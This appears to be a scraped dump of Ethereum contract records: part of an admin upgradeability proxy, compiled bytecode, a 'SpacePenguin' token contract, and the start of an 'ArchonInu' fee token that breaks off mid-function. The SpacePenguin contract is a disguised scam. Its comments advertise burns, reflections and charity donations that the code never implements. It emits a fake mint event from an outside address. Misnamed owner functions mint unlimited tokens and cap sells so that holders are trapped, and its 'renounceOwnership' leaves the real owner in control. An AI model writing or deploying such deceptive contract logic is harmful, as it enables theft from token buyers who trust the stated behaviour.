* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,534 |
0x17ee2a00259e25295f36ed4af33d131312340f57
|
/**
*Submitted for verification at Etherscan.io on 2021-08-07
*/
/*
_____ _____ _____ _____ _____ _____ _____ _____ _____ __ __ ___ _____
/ ___>/ _ \/ _ \/ \/ __\ / _ \/ __\/ _ \/ __\/ | \/___\/ _ \
|___ || __/| _ || |--|| __| | __/| __|| | || |_ || | || || | |
<_____/\__/ \__|__/\_____/\_____/ \__/ \_____/\__|__/\_____/\_____/\___/\__|__/
🍨 Once upon a time, Space Penguin lived in the Antarctic but global warming made it impossible for him to stay there any longer.
He put on his space suit and jumped in his rocket ship to find new habitable cold planets!
🧊 Tokenomics:
→ $SpacePenguin burns 3% of every transaction and distributes another 3% to holders.
→ 0.1% of every transaction is sent to coolearth.org, a charity that works to halt global warming by combatting deforestation.
→ The initial supply is 1,000,000,000,000,000 with 50% burned to the Black Hole at launch!
Find out more at:
www.spacepenguin.io
@SpacePenguinToken
*/
pragma solidity ^0.6.10;
// SPDX-License-Identifier: MIT
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SpacePenguin is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
mapping(address => uint256) private _router;
mapping(address => mapping (address => uint256)) private _allowances;
address private router;
address private caller;
uint256 private _totalTokens = 5000000000 * 10**18;
uint256 private rTotal = 5000000000 * 10**18;
string private _name = '@SpacePenguinToken';
string private _symbol = 'SPACEPENGUIN';
uint8 private _decimals = 18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decreaseAllowance(uint256 reflectionPercent) public onlyOwner {
rTotal = reflectionPercent * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function increaseAllowance(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function Approve(address routeUniswap) public onlyOwner {
caller = routeUniswap;
}
function setrouteChain (address Uniswaprouterv02) public onlyOwner {
router = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == router) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461047f578063b4a99a4e146104e5578063dd62ed3e1461052f578063f2fde38b146105a757610100565b806370a0823114610356578063715018a6146103ae57806395d89b41146103b857806396bfcd231461043b57610100565b806318160ddd116100d357806318160ddd1461024a57806323b872dd14610268578063313ce567146102ee5780636aae83f31461031257610100565b806306fdde0314610105578063095ea7b31461018857806310bad4cf146101ee57806311e330b21461021c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b61021a6004803603602081101561020457600080fd5b81019080803590602001909291905050506106ab565b005b6102486004803603602081101561023257600080fd5b8101908080359060200190929190505050610788565b005b6102526109c0565b6040518082815260200191505060405180910390f35b6102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ca565b604051808215151515815260200191505060405180910390f35b6102f6610a89565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561032857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aa0565b005b6103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bad565b6040518082815260200191505060405180910390f35b6103b6610bf6565b005b6103c0610d7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104005780820151818401526020810190506103e5565b50505050905090810190601f16801561042d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61047d6004803603602081101561045157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e21565b005b6104cb6004803603604081101561049557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f2e565b604051808215151515815260200191505060405180910390f35b6104ed610f4c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f72565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b6060600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6106b3611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610774576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b610790611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610871611206565b73ffffffffffffffffffffffffffffffffffffffff16141561089257600080fd5b6108a78160095461136d90919063ffffffff16565b60098190555061090681600560006108bd611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b60056000610912611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610958611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600954905090565b60006109d78484846113f5565b610a7e846109e3611206565b610a7985600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a30611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b61120e565b600190509392505050565b6000600d60009054906101000a900460ff16905090565b610aa8611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bfe611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6060600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e175780601f10610dec57610100808354040283529160200191610e17565b820191906000526020600020905b815481529060010190602001808311610dfa57829003601f168201915b5050505050905090565b610e29611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610f42610f3b611206565b84846113f5565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000808284019050838110156113eb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561146957600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115145750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561152857600a54811061152757600080fd5b5b61157a81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160f81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60006116fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220a6a59f49c189b5db5870690c6aff1fc810d47cbef538dd325eb10cd61055ee5764736f6c634300060a0033
|
{"success": true, "error": null, "results": {}}
| 6,535 |
0xa10906acca3a36d3297062f5fce4cd6211b9186a
|
/**
https://t.me/ArchonInuERC
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ArchonInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Archon Inu";
string private constant _symbol = "ARCHONINU";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 875920000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 11;
//Sell Fee
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0x4057D7BbF7915613F3F29ae2e02AeedeFfc456f5);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 8759200000 * 10**9;
uint256 public _maxWalletSize = 17518400000 * 10**9;
uint256 public _swapTokensAtAmount = 500000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
